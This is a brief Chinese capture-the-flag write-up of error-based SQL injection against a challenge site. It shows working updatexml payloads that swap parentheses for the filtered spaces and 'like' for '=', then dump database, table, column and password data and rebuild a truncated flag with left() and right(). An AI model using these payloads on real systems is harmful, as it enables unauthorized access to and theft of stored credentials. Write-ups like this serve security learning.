开局一张图
输入1'报错,还是字符型
手工注入发现过滤了很多的关键字union,and,空格,=
等等,需要用其他注入方法,尝试使用报错注入,空格被过滤了,发现or
没被过滤,()
也没被过滤,于是使用()
替换空格。
爆数据库名
1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),3))#
爆表名(=
被过滤了,于是使用like)
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),3))#
爆列名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),3))#
爆数据
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),3))#
发现flag没显示全。查询知可以使用left()
和right()
进行拼接
1'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),3))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),3))#
最终得到了flag。